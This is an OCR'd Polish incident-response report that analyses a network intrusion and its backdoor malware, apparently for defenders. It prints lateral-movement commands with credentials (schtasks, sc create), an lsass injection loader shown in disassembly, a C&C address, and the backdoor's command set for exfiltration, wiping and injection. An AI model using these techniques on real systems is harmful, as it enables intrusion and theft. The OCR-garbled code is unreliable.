@Informacje 06.04.2017 15:20:48 TaskSched... 106 Zadanie z...
(i) Informacje 06.04.2017 15:18:24 TaskSched... 328 Zadanie je...
(i) Informacie 06.04.2017 15:18:24 TaskSched... 102 Zadaniez.. ¥
Zdarzenie 106, TaskScheduler .
Ogélne Szczegé.}y
Uzytkownik ,\janek" zarejestrowat zadanie Harmenogramu zadan \gpUpdate”
Mazwa dziennika: Microsoft-Windows-TaskScheduler/Dziala
Zradio: TaskScheduler Zalogowano: 06.04.2017 13:20:48
Identyfikator 106 Kategoeria zadania: Zadanie zarejestrowang
Poziom: Informacje Stowa kluczowe:
Przyktad zdarzenia uruchamiajacego zadanie:
schtasks /run /s 192.168.229.154 /U janek /P password /I /TN gpUpdate
Poziom Data i godzina Zrédio ldentyfika... Kategoria.. *
(57 Informagje 06.04.2017 15:28:59 TaskSched... 129 Utworzon...
(i) Informacje 06.04.2017 15:25:41 TaskSched... 102 Zadaniez..
|/E\|I £, 1 OE 0A J01T 15,795,449 TorleCmln ol 01 Al +

Zdarzenie 129, TaskScheduler

Ogo’lne Szczegé-}y

identyfikatorem procesu 4308,

Mazwa dziennika: Microsoft-Windows-TaskScheduler/Dziata

Harmonogram zadan uruchomit zadanie \gpUpdate”, wystapienie ,c\windows\perfron,exe’

Zroicto: TaskScheduler Zalogowano: 06.04.2017 15:28:59
Identyfikator 129 Kategoria zadania: Utworzene proces zad:
Poziom: Informacje Stowa kluczowe:

vc




Przyktady innych aktywno$ci zwiazanych ze zdalnym uruchamianiem programoéw.

schtasks /change /s 192.168.229.154 /U janek /P password /TN gpUpdate /ST 11:11
schtasks /delete /s 192.168.229.154 /U janek /P password /TN gpUpdate

W dzienniku zdarzen beda znajdowaty sie nastepujace 1D zdarzen:

141 - usuniecie zadania z Harmonogramu zadan,
140 - aktualizacja zadania Harmonogramu zadan,
102/201 - pomyslne zakonczenie zadania,
100/200/110 - uruchomienie zadania.

Service Control Manager (SCM)

Na analizowanych hostach wykryto rdwniez dziatania zwigzane ze zdalnym uruchamianiem ustug za pomoca Service
Control Manager. Komenda wywotana przez intruza mogta by¢ nastepujaca:

sc \\192.168.229.154 create gpUpdate binPath= C:\Windows\perfmon.exe start= auto

Z dzienniku zdarzen SYSTEM odnotowane zostanie zdarzenie o ID 7045.

Poziom Data i godzina Zrédto Identyfika... Kategoria.. ™
(67 Informacje 06.04.2017 18:31:45 Service Co.. 7045 Brak

(i) Informacje 06.04.2017 18:15:29 Service Co.. 7040 Brak

/v Ostrzezenia 06.04.2017 18:13:29 ETHUSB 28 Brak v
Zdarzenie 7043, Service Control Manager X

Ogdlne  Szezegéty

Ustuga zostata zainstalowana w systemie.

Nazwa ustugi: gpUpdate

MNazwa pliku ustugi: CA\Windows\perfmon.exe
Typ ustugi: ustuga trybu uzytkownika

Typ uruchomienia ustugi: autostart

Koento ustugi: LocalSystem

Wazwa dziennika:  Systemn

Trodio: Service Control Manager Zalogowano: 06.04.2017 18:31:45
dentyfikator 7045 Kategoria zadania: Brak
Poziom: Informacje Stowa kluczowe:  Klasyczny

Cechy charakterystyczne uruchamianych przez intruza ustug to:

e nazwa ustugi: gpUpdate

e nazwa pliku ustugi:
o cmd.exe /c rundll32.exe <sciezka do pliku dll,nazwa wywotywanej funkcji>
o cmd.exe /creq query <rejestr> > c:\windows\temp\ <plik z rozszerzeniem.tmp>
o cmd.exe /c start /b c:\windows\ms.bat

Z wykorzystaniem tych dwé6ch metod, intruz uruchamiat na zdalnych komputerach réwniez swoje narzedzia
uprzednio tam skopiowane. Kolejnym charakterystycznym zachowaniem byty potaczenia na porty 8443/tcp oraz

9443 /tcp chwile po uruchomieniu przekopiowanego pliku wykonywalnego (tzw. backdoora). Analiza pozostawionych
przez intruza narzedzi potwierdza, ze posiadal on wytacznie dostep z linii komend. Dlatego czasami mdgt korzystac z
RDP aby np. uruchomic¢ graficzne narzedzie. Podobne zachowanie opisuje Kasperski Lab w czeSci raportu pos§wieconej
atakowi na system SWIFT w jednym z bankow. N
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Ponizej znajduje sie lista nazw plikéw wykonywalnych ze zto§liwym kodem, ktére byty uruchamiane przez intruza w
tej fazie ataku: msconfig.exe, hcsps.exe, hkcmd.exe, msdtc.exe, gpsvc.exe, perfmon.exe, hsperf.exe, msmpeng.exe oraz
sessmon.dll.

Utrzymanie dostepu

W momencie, gdy intruz uzyskat uprawnienia do interesujacych go systemoéw, zainstalowat ustuge, ktorej celem byto
zestawiane potgczenia zwrotnego do serweréow C&C. Aby nie budzi¢ podejrzen do tego celu wybrat serwer, ktory jest
w niewielkim stopniu wykorzystywany przez administratorow. Potaczenie inicjowane z sieci wewnetrznej
wyKkorzystywato protokét TLS/SSL.

Do zainstalowana ustugi wykorzystany zostat miedzy innymi plik gpsvc.exe. Ponizej lista mozliwych nazw ustug:

sUzerssAdministratorsDocumentss_test>gpsvc.exe —1
FastlUserSwitchingCompatihility

las

Irmon

la

tmEsve

WCHorkstation

Ten dropper tworzy 3 pliki w systemie plikow:

o (:\Windows\System32\srservice.dll
e  (:\Windows\Help\srservice.chm
e (C:\Windows\Help\srservice.hlp

Ponizej zdarzenie zwigzane z instalacjg ustugi o nazwie SRService (ID 7045).

Paznom Data 1 godnna

i} Informacje 2016-10-24 045217
il Informacje 2016-10-24 04:58:13
i} Informacje 2016-10-24 0:53:36

o | |2
[ Zdarzenie 7045, Service Contro Manager

Ogdine | Szczegily
Ushuga zostata zainstalowana w systemie.

Mazwa ushugi: SRService

Mazwa pliku ushugi: %SystemRoot¥\system3Z\swchostexe -k netsves
Typ ustugi: user mode semvice

Typ uruchomienta ustugi: auto stan

Konto ustugi: LocalSystem

Marwa dIiennika: System

Zrédio: Service Control Manag  Zalogowano: 2016-10-24 04:50:
Identyfikator zdarzenia: 745 Kategoria zadania: Brak

Paoziom: Informacje Skowa kuczowe: Klasyczny

W dzienniku zdarzen bedzie tez drugie zdarzenie o ID 7030 zwigzane z oznaczeniem ustugi jako interakcyjnej. Klucz
Parameters ustugi SRService wskazuje na biblioteke srservice.dII:

+ 21 Spooler & || value Type Data
+ 1 sppsvc ab| ServiceDl REG_EXP... c:\windows\system32\srservice.dl
— 3 SRService
[ - Parameters |
7 e

Ustuga SRService taduje i uruchamia biblioteke srservice.dll. Jest ona prostym loaderem plikéw wykonywalnych. Po
uruchomieniu, biblioteka przypisuje sobie uprawnienia dajace mozliwos¢ manipulacji pamiecig innych proceséw a
nastepnie odczytuje i odszyfrowuje plik srservice.chm. Plik jest zaszyfrowany przy wykorzystaniu algorytmu RC4 N
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Spritz. W zalezno$ci od parametréw odszyfrowana biblioteka moze by¢ tadowana do pamieci aktualnie

wykonywanego procesu lub procesu Isass.exe.
BW-RIP
“TEaSLE “GETCHPTS
lea rdx, [rsp+328h+var_128]
lea rcx, [rsp+328h+Filename]
mov r8d, 163h
call CreateChmName
lea rcx, aSedebugprivile ; *'SeDebugPrivilege’
mov edx, 1
call SetDebugPrivs
lea r8, [rsp+328h+Size]
lea rdx, [rsp+328h+hiemn]
lea rcx, [rsp+328h+var_128]
call FileRead
mov rbx, [rsp+328h+hHMem]
test eax, eax
= short loc_7FFD3BEB2BF5
A 4
loc_7FFD3BEB2BF5: ; FORAEP
mou edx, dword ptr [rsp+328h+Size]
lea r8, cbInbData ; cbInbata
r9d, 206h s pInData
ECX . EbhX s hCr to

test rdl; rdi ; if (**argu == NULL)
jz short loc_7FFD3BEB2C21 ; ;inject currentprocess

v

I

I

lea
call
imp

rcx, String2 ; "lsass.exe'

sub_7FFD3BEB29606 loc_7FFD3BEB2C21:

short loc 7FFD3BEB2C27 call cs:GetCurrentProcessid

(54,834) (674,493) 00001F3B 00007FFD3BEB2B3B: TheRMain+4B (Synchronized with RIP)

aw-1

Infekcja wybranego procesu odbywa sie poprzez zapis do pamieci odszyfrowanej biblioteki sekcja po sekgji.

Przedostatnia procedura zapisywana do przestrzeni docelowego procesu pochodzi z samego loadera i nastepnie do

niej jest przekazywane sterowanie.

| Regular function Unexplored Instruction External symbol
Q l \E Structures l LE Enums
Gy e awarea e s vemeeeaea wageans e — _—
call cs:WriteProcessHemory

test eax, eax
iz loc_7FFD3BEB2868
Yy
I
loc F7EERSBEEOZDE: —2pSuilfss
lea r8, _ indepenentPositionCode2Inject
Xor teACd il
mnov r9d. 888h = nSize
mov rdx, 13 s lpBasenaddress
mov rcx, rsi ; Nrrocess
mov quord ptr [rsp+67Bh+flProtect], v15 ; 1pNumberOfBytesWritten
call cs:WriteProcessMemory
test eax, eax
iz short loc_7FFD3BEB2868
A 4
ol e =
mou frcpei7Ohspar_648], ri15
mov r9, ri13
Xor iSa, oa
Xor edx, edx
mov rcx, rsi
mou [rsp+67Bh+var_648], ri15d
nov quord ptr [rsp+670h+flProtect], rii
call [rsp+678h+CreateRemoteThreadADDR]
nou r13, rax
test rax, rax
iz short loc_7FFD3BEB2868

Procedura uruchomiona w nowym watku Isass.exe lub aktualnego procesu (ustugi) zaczyna swoje dziatanie od

inicjalizacji Srodowiska, nastepnie zmienia prawa dostepu do obszaréw pamieci, dodajac prawo do wykonania kodu
wcze$niej zatadowanego (odszyfrowane sekcje srservice.chm) i wywotuje funkcje DlIMain z pierwszej odszyfrowanej

sekcji modutu srservice.chm.

N
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Bw D ‘ E Structures &3 Enums
il e = 1=
test eax, eax
jnz loc_C3EFCFB83B?| (loc_C3EFCFB29F:
test eax, eax
jnz loc_C3EFCF 83B9
h 4 h 4
bl o= ] s =
mouy eax, [rbx] moy eax, [r15+28h]
bt eax, 1Dh mov rcx, [rsp+98h+arg_18]
jnb short loc_C3EFCFO254 Xor r8d, r8d
add rax, rcx
lea ody__Lefail
mou [r13+38h], rax
call rax ; (export) D1llHMain
mou [rsp+98h+arg_0], eax
test eax, eax
jz loc_C3EFCFO3B9
A i A 4
I il (s =]
%, 1Fh cmp [F13+458h], ri4d
d, 26h loc_C3EFCFB254: iz loc_C3EFCFB3B9
d. ebp mou rod. &4

Nastepnie wywotywana jest funkcja RegisterDIl a pierwsza funkcja zwigzana z zto$liwym kodem odpowiada za
pobranie kilkunastu adreséw funkcji API.

) (=)
GetApiz proc near
sub rsp, 28h
call ws2_32GetProcAddress
call kernel32GetProcAddress
call iphlpapiGetProcaddress
call advapi32GetProcAddress
call user32GetProcAddress
call userenvGetProcAddress
call shell32GetProcAddress
call shlwapiGetProcAddress
call wtsapi32GetProcAddress
call psapiGetProcAddress
add rsp, 28h
jmp DHSApiGetProcAddress
GetApiz endp

Ponizsza tabela zawiera informacje o importowanych funkcjach:

ws2_32.dll

bind

closesocke

t

connect

htons

ioctlsocket

inet_addr

inet_ntoa

listen

wtsapi32.dll

WTSEnumerateSess
ions

WTSQueryUserTok
en

WTSFreeMemory

Iphlpapi.dil adavpi32.dll user32.dll userenv.dll psapi.dll kernel32.dll
GetAdaptersl | GetTokenInformati = GetCursorPos CreateEnvironmentBl = GetProcessMemory = CopyFlleW
nfo on ock Info
LookupAccountSid GetSystemMet | DestroyEnvironment CreateDisrectoryW
w rics Block
LookupPrivilegeVal CreateFileW
ueW
OpenProcessToken GetFileTime
W
AdjustTokenPrivileg CreateProcessW
es
SetServiceStatus CreateThread

CloseServiceHandle

RegCloseKey

CreateToolhelp32SnapshootDel

eteFile

ExpandEnvironmentStringsW




recv
select
setsockopt
shutodwn
accept

getpeerna
me

WSAStartu
p

WSAClean
up

WSAFdIsSe
t

DeleteService
RegDeleteKeyW
RegCreateKeyW
RegOpenKeyExW
RegQueryValueW

RegFlushKey

OpenServiceW

OpenSCMManager

StatServiceW

CreateServiceW

CryptGenRandom

FindFirstFilew
FindNextFileW
GetComputerNameW
GetCurrentDirectoryW
GetDriveTypeW

GetDiskFreeSpaceExW

GetFileAttributesW

GetLogicalDrives

GetProcessHandleCount

GetProcessTimes
GetProductinfo
GetSystemInfo
GetVersionExW
FindResourceExW
LoadResource
MoveFileW
OpenProcess
Process32FirstW
Process32NextW
ProcessldToSessionld
WriteFile

WriteProcessMemory

Po pobraniu potrzebnych adreséw funkcji, kod sprawdza obecno$¢ pliku konfiguracyjnego w lokalizacji
C:\WINDOWS\ help\srservice.hlp. Jezeli plik konfiguracyjny nie istnieje, wéwczas jego zawarto$¢ z pamieci procesu
zostanie zapisana w formie zaszyfrowanej jako plik we wskazanej lokalizacji na dysku twardym. Same wartosci
zapisywane do tego pliku znajduja sie w pamieci, w formie zakodowanej za pomoca XOR ze statym 16 bitowym

kluczem (0x2CDF).

Domyslny plik konfiguracyjny, poza wartoscig zbudowana na podstawie funkcji powiazanych z czasem systemowym i
czasem dziatania systemu, zawiera wytacznie jeden adres DNS oraz numer portu tcp: "tradeboard.mefound.com:443".
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arg_6= quword ptr 8

arg_8= quword ptr -16h

arg_16= quword ptr 18h

nov [vsp+arg_8], rbx

nov [¥sp+arg_8], rbp

nov [vsp+arg_18], rsi

push rdi

sub rsp, 26h

lea rdx, unk_C3F17E1904

lea rcx, alradeboard_mefound_com443 ; “tradeboard.mefound.com:iss3”
or edi, OFFFFFFFFh

call sub_C3F17815A8

mov ebx, 82h

nouv esi, 2CDFh

lea rbp, peFile

test eax, eax

jz short loc_C3F1786FFB

A 4

[l s =

lea rax, aTradeboard mefound com443+2 ; “radeboard.mefound.com:443""
mov ecx, ebx

nop dword ptr [rax+rax+00000006h]

loc_C3F1780FDO:

xor [rax-2], si
xor [rax], si
add rax, L

W nastepnym kroku tworzonych jest kilka watkéw. Jeden z nich odpowiada za nawigzanie potaczenia do serwera

C&C.

W zaleznosci od tego, czy w pliku konfiguracyjnym zapisany jest adres IP lub nazwa domenowa serwera C&C,
oprogramowanie ztos$liwe przechodzi bezposrednio do procedury nawigzujgcej potaczenie z serwerem C&C lub

odpytuje serwer DNS o rozwigzanie nazwy na adres IP. W przypadku, gdy malware wykorzystuje nazwy domenowe,
po otrzymaniu adres IP jest on modyfikowany za pomoca operacji XOR z wartos$cig 0x4F833D58.

W kodzie malware jest tez zaimplementowana obstuga proxy. W ramach sieci wewnetrznej, ruch sieciowy moze by¢

przesytany pomiedzy uruchomionymi instancjami malware.

Ponizej przedstawione s3 dwa wywotania funkcji odpowiedzialnych za uzyskiwanie adresu IP serwera C&C z

serwer6w DNS oraz mechanizm modyfikacji adresu IP.

Fragment wywotujacy funkcje DNSQuery():

cmp eax,
jz short loc_C3F1780882
A 4 Yy
ol e 5=
test eax, eax
jnz short loc_C3F17808A3 isDomainName :
lea rdx, [rsp+2B18h+dnsQuerylut]
lza rix, [rspTZIbisiTiphRudr]
mov r8b, 1 ; s;obfuscated=true
call cDHSQueryy
Lest 22U
jnz short loc_C3F1780968 |
Yy h 4
bl i [=]
mou eax, [rsp+2B18h+dnsQuerylut]
loc_C3F1780882:
lea rdx. [rsn+2B18h+dnsOuerulut]
lea rcx, [rsp+2Bi18h+ipaddr]
Xor r8d, r8d ; :obfuscated=false
call cDHSQueryW
muv edi, [rsprIBisirinsguer ybui]
test eax, eax
jnz short loc_C3F17808A3

.

Fragment modyfikujacy otrzymany adres IP:
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mov
mov
call
test
jz

dword ptr [rsp+68h+var_36+4], 8680868h

[rsp+68h+var_ 48], rax
cs:ptr_DNSQueryy

eax, eax
short loc_C3F17886BC ; ;Get IP addres as DUWORD value
vV
loc_C3F17806BC: ; :;Get IP addres as DWORD value
mov rcx, [rsp+68h+dnsQueryOutBuff]
mov eax, [rcx+206h]
mov [rbx], eax ; s*outBuff = DHS_A_DATA.IP4_ADDRESS
test dil, dil ; ;if(0 dont xor)
jz short loc_C3F178086D2
il s 5
zor eax, L4F833D5Bh |; ;DNS_A_DATA.IP4 ADDRESS "= Bx4f833d5B
nov [rbx], eax ; ;=outBuff = DNS_A DATA.IP4 ADDRESS ~ BOx4f833d5B;
il s =

loc_C3F17806D2:

Po otrzymaniu wtasciwego adresu IP, malware nawigzywat potaczenie z serwerem oraz zaczynat czeka¢ na jedno z
kilkudziesieciu polecen. Ponizej fragment funkcji obstugujacych komendy:

Graph overview (]
loc_4302BC:
cmp eax, 'TCON®
jnz short loc_4302D0
FIZIE
!
loc_4302D0:
cmp eax, 'SLEP'
. jnz short loc_4302E6
=
=)
=)
=1
=1
=
=
=]
l-:Il':|
"—'":.D loc_Y4302E6:
D‘:':. cmp eax, 'PEEX’
Dy jnz short loc_4302FA
%‘ loc_Y4302FA:
cip eax,
- j loc_H42FFC1
1b_46C040
1b_46C330 l | 1
v y y
i0_46C2D0 W= W= W= W= W=
1b_46C440 mov rdx, rdi mov rdx, rdi lea rex, [rsp+178h+var_148]( [mou rdx, rdi mov rdx, rdi
1b_46C460 mou rex, rsi Src| |mouv rex, rsi mou rdx, rdi mou rex, rsi rex, rsi
ADE166E 0] _[p1e |eal1  sun_s08150 call  sub_4081EQ call  sub_42FC90 call  sub_408240 sub_4082E0
1b_46C5E0 . jmp short loc_430310 jmp short loc_430310 |jmp short loc_430310 mp short loc_430310

"PEIN’

Dla przyktadu funkcja RUN - uruchomienie pliku wykonywalnego wywotuje nastepujace funkcje:
LookupPrivilegeValueW() - SeDebugPrivilege()

DuplicateTokenEx()
SetTokenInformation()
AdjustTokenPrivileges()
GetSystemDirectoryW()
CreateProcessAsUserW()

Ponizsza tabela zawiera informacje o funkcjach poszczegélnych komend:

KOMENDA
NONE
GINF

DRIV
RUNX
SCFG
GCFG
DIR
DIRP
CHDIR

OPIS
Brak akcji

pobiera informacje o zuzyciu pamieci, BIOS, procesorze, dysku

twardym i interfejsach sieciowych

pobiera informacje o zasobach (dyskach)

tworzy proces w imieniu innego zalogowanego uzytkownika
pobranie nowego pliku konfiguracyjnego

przesyta aktualng konfiguracje do serwera C&C
wyswietlanie plikéw i folderéw w katalogu

rekursywne wyswietlanie plikéw i katalogéw

zmiana aktualnego katalogu
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RUN uruchomienie komendy

DEL usuniecie pliku

WIPE bezpiecznie usuniecie pliku

MOVE przeniesienie pliku

FTIM ustawienie innego czasu dla wskazanego pliku

NEWF utworzenie katalogu

ZDWN pobranie skompresowanego pliku

DOWN pobranie pliku

PVEW informacja o uruchomionych procesach

PKIL wytaczenie procesu po PID

CMDL wykonanie komendy, zapisanie wyniku do pliku, upload do serwera
C&C i usuniecie

UPLD upload do C&C

DIE wytaczenie malware

SLEP roztaczenie z serwera C&C i odczekanie odpowiednia ilo$¢ czasu aby
ponownie nawiaza¢ potaczenie

TCON test potaczenia do C&C

PEEX Wstrzykniecie modutu do explorere.exe

PEIN Wstrzykniecie modutu do innego procesu

Identyczne komendy znajdowaty sie w pliku perfmon.dat (gtéwna funkcja odpowiedzialna za odczytanie komend to
sub_1002D670).

Charakterystyczng cecha analizowanego malware jest zastosowanie biblioteki CURL w wersji 4.47.1. Funkcje
udostepniane przez CURL sg wykorzystywane w wielu miejscach analizowanego kodu od momentu utworzenia watku
odpowiedzialnego za komunikacje sieciowa, wtgczajac moment nawigzywania polaczenia (w przypadku, gdy zostanie
wyKkryte wykorzystanie serwera proxy), po obstuge polecen C&C.

Kolejny uruchomiony przy starcie watek dziata w petli. 0dpowiada za monitorowanie i enumeracje aktywnych sesji
uzytkownika. Jesli taka sesja zostanie wykryta, trojan w imieniu uzytkownika sesji tworzy nowy proces.

Iea Fa%, [Fsps58hi+arg TH]
nov ecx, edi loc_C3F1755B1A:
nov [rsp+58h+arg 18], ri12 nov rax, cs:ptr
call mnjuerylUserToken test rax, rax
nov ebx, eax jz loc_C3F1755
test eax, eax
jnz short loc_C3F1755AFD
Yy 4
I ] i [-=1
nov rdx, [rsp+58h+arg_18]| [cmp cs:ptr_UTSFree
test rdx, rdx jiz loc_C3F1755BF9
jz loc_C3F1755BFE
L : ¥
mouv r8d, edi lea rcx, [rsp+58h+arg_8]
mov rcx, rbp Xxor edx, edx
call mnCreateProcessAslser lea r2, [rsp+58h+arg_10]
mouv ebx, eax nov [rsp+58h+var_38], rcx
lea r8d, [rdx+1]
Xor ecx, ecx
nov [rsp+58h+arg_8], r12d
mou [rsp+58h+arg_18], r12
o211 2n g whoopild UTSEnumeratcSeoccionoly
| ||'n|:|' aay oaw v o

Nastepnie enumerowane s3 uruchomione procesy w celu zidentyfikowania procesu ,explorer.exe” danego
uzytkownika. Do identyfikacji procesu uzywane s3g standardowe funkcje API: CreateToolhelp32Snapshot,
Process32First oraz Process32Next.

Nastepnie, nastepuje infekcja tego procesu poprzez wstrzykniecie kodu malware. Kod, ktérym infekowane sa inne
procesy nalezace do uzytkownikéw znajduja sie w innym pliku. Sciezka do pliku powinna by¢ zapisana w pliku
konfiguracyjnym. Przed jej zatadowaniem weryfikowany jest format pliku (MZ).
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loc_C3F17556B1:

mnov rcx, rdi
call cs:ptr_LoacalFree
mov rdi, r12

{]V Yy

ol et =]
loc_C3F17556BD:
mov rcx, rbx
call cs:ptr_CloseHandle
test rdi, rdi
jz loc_C3F17557CD
L A
I
cnp byte ptr [rdi], 4Dh ; H
jz loc_C3F1755784
A J
il s 5=
cnp byte ptr [rdi+1], 5Ah ; 2
jz loc_C3F175577F
¥ ' .
il il =]
nov rdx, rsi

Sciezka do pliku (ktéra powinna znajdowa¢ sie w pliku konfiguracyjnym) na analizowanych hostach byta
wyzerowana. W analizowanych prdbkach ta wartos¢ jest wykorzystywana jako parametr wywotania funkcji
PathRemoveArgs oraz w CreateProcessAsUser, wiec moze to by¢ komenda linii polecen. Na serwerze zidentyfikowano
dwa kolejne pliki nalezace do intruzéw, ktére uruchamiane sa z linii komend. MoZe to oznaczac, ze wiasnie do jednego
z tych plikdw powinien prowadzi¢ wpis w pliku konfiguracyjnym. Te pliki to:

e (C:\Windows\fdsvc.exe
e (:\Windows\fdsvc.dll (biblioteka jest zakodowana za pomoca RC4 Spritz)
Jest to narzedzie konsolowe. Plik fdsvc.exe przyjmuje nastepujace parametry:

-d (nazwa biblioteki ktérg ma odszyfrowaé fdsvc.dll)
-r parametry oddzielone | - sg to IP i porty (porty oddzielony od IP :) C&C
-p (id procesu) - wstrzykuje biblioteke do procesu lub explorer.exe

Ponizej znajduja sie informacje o komendach, ktére odbiera malware po wstrzyknieciu we wskazany proces i
nawigzaniu potaczenia z serwerem C&C.

Sa to instrukcje odpowiadajace za pobranie pliku, wykonanie instrukcji czy wystanie pliku do C&C. Ttumaczenie
nazw: Ssylka (“link™), Ustanavlivat (“install”), Poluchit (“get”), Pereslat (“send”), Derzhat (“keep”), Vykhodit (“exit”),
Nachalo (“start”).
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lea rex, [rbp+i47Oh+Stri]
mou edx, edi
call sub_18000D3B0
lea rdx, §tr2 ; "ustanaulivat™
lea rex, [rbp+t47Oh+Str1] ; Stri
call
test eax, eax
jnz loc_18000DCCS
Yy A
lall s = FEE
lea rex, [rsp+57@ht+uar_S1F] ; Dst
xor edx, edx ; Ual loc_18000DCCS: ; “poluchit™
mou rgd, 103h ; Size lea rdx, aPoluchit
mov [rspt5TOh+uar_540], esi lea rex, [rbpti4TOh+Stri] ; Stri
mov [rspt570h+Src], sil call
call test eax, eax
lea rdx, [rspt570htuar_540] jnz short loc_18000DD4Y4E
mou r9d, QEAGBGh
mou réd, 4
mov rex, rbx ;s
call sub_1800015C0
test eax, eax
jz loc_18000DD23
Y h h
] il ) = P
lea rex, [rsp+S70h+var_540] or rex, OFFFFFFFFFFFFFFFFh
mov edx, 4 xor eax, eax loc_18000DD4E : ; "pereslat”
call sub_18000D3B0O lea rdi, Dst lea rdx, aPereslat
mov edi, [rsp+57@h+var_540] repne scasbh lea rex, [rbp+470h+Str1] ; Stri
lea rdx, [rsp+570h+Src] lea réd, [rax+i] call
mov réd, edi lea rdx, [rsp+570h+var_540] test eax, eax
mov rad, OEAGOh not rex jnz short loc_18000DDD5
mov rex, rbx - dec rex
call sub_1800015C0 mov [rsp+5T0h+var_540], ecx
test eax. eax mov rex. rbx

Tak jak napisaliSmy wcze$niej, po nawigzaniu potaczenia z serwerem C&C intruz moze “przeja¢” w kazdym momencie
sesje. Jedna z funkcji zainstalowanego malware jest TCP Relay. Intruz moze taczy¢ sie do zdalnych hostéw w sieci
wewnetrznej tak jakby fizycznie znajdowat sie na serwerze, na ktdrych zainstalowana jest ustuga (np. SRService).

Jesli dostepne sa dzienniki zdarzen Security na stacjach roboczych i serwerach z interesujacego nas przedziatu
czasowego, mozna zidentyfikowaé zdarzenia, ktére moga Swiadczy¢ o aktywnosci intruza. Dla przyktadu, gdy
wykorzystywane sg wykradzione dane uwierzytelniajagce ponizsze zdarzenie (4624) moze $wiadczy¢ o ich uzyciu.

Typ logowania: 3

Nowe logowanie:

Identyfikator zabezpieczen: S-1-5-21 - XXXXX = XXXXXXXXX = XXXXXXXXXX - XXXX
Nazwa konta: username

Domena konta: DOMAIN

Identyfikator logowania: 0xa43b3b7e

Identyfikator GUID logowania: {00000000-0000-0000-0000-000000000000 }

Informacje o procesie:
Identyfikator procesu: ox0
Nazwa procesu: =

Informacje o sieci:

Nazwa stacji roboczej: HOSTNAME
Adres Zrdédiowy sieci: X. XX X
Port Zzroédiowy: 54950

Szczegbtowe informacje o uwierzytelnianiu:
Proces logowania: NtLmSsp
Pakiet uwierzytelniania: NTLM
Ustugi przejsciowe: -
Nazwa pakietu (tylko NTLM): NTLM V1
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Jest to przyktad tylko jednej z metod wykrywania atakéw typu Pass the Hash. Wiecej informacji na ten temat mozna
znalez¢ w ponizszych dokumentach:

e Microsoft: Mitigating Pass-the-Hash and Other Credential Theft
e NSA: Spotting the Adversary with Windows Event Log Monitoring
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PODSUMOWANIE

Mamy nadzieje, ze przedstawiony powyzej opis bedzie przydatny przy wykrywaniu podobnych incydentow
bezpieczenstwa.

Ponizej znajduja sie kilka wybranych technicznych rekomendacji, ktdre naszym zdaniem mogtyby przyczyni¢ sie do
wczesnego wykrycia, powstrzymania lub ograniczenia rozmiaréw opisywanej metody ataku.

1.

Regularna i bezzwtoczna instalacja poprawek bezpieczenstwa dla cato$ci oprogramowania zainstalowanego
na stacjach roboczych i serwerach,

Wykorzystywanie dodatkowych mechanizmoéw bezpieczenstwa jakie bezptatnie oferuje producent
oprogramowania. Dla kazdego z nich wymagana jest wlasciwa konfiguracja:

Instalacja i konfiguracja EMET (dla Windows 10 juz nie jest wymagany),

Uruchomienie mechanizméw takich jak AppLocker/DeviceGuard oraz CredentialGuard,
Wykorzystywanie Windows Defender,

Wykorzystywanie systemdéw typu personal firewall,

Uruchomienie i skonfigurowanie narzedzia SYSMON.

® a0 o

Nalezy zaznaczy¢, ze funkcjonalnos¢ czesci z wyzej wymienionych mechanizmdw realizuja rowniez systemy
typu endpoint protection firm trzecich.

Regularne monitorowanie dziennikéw zdarzen, zadbanie o jako$¢ zdarzen (rejestrowanie odpowiednich
zdarzen) oraz wiasciwg polityke retencji danych dotyczacych dziennikéw zdarzen (przynajmniej na poziomie
kilku miesiecy, cho¢ rekomendujemy minimum 2-3 lata).

Monitorowanie ruchu TLS/SSL przychodzacego oraz wychodzacego poprzez jego deszyfracje i poddawanie
inspekcji na urzadzeniach brzegowych organizacji.

Przy zarzadzaniu domena Active Directory stosowanie sie do zalecen producenta oprogramowania:

Implementacja systemu zarzadzania lokalnymi kontami administracyjnymi, np. mechanizm LAPS.
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https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory

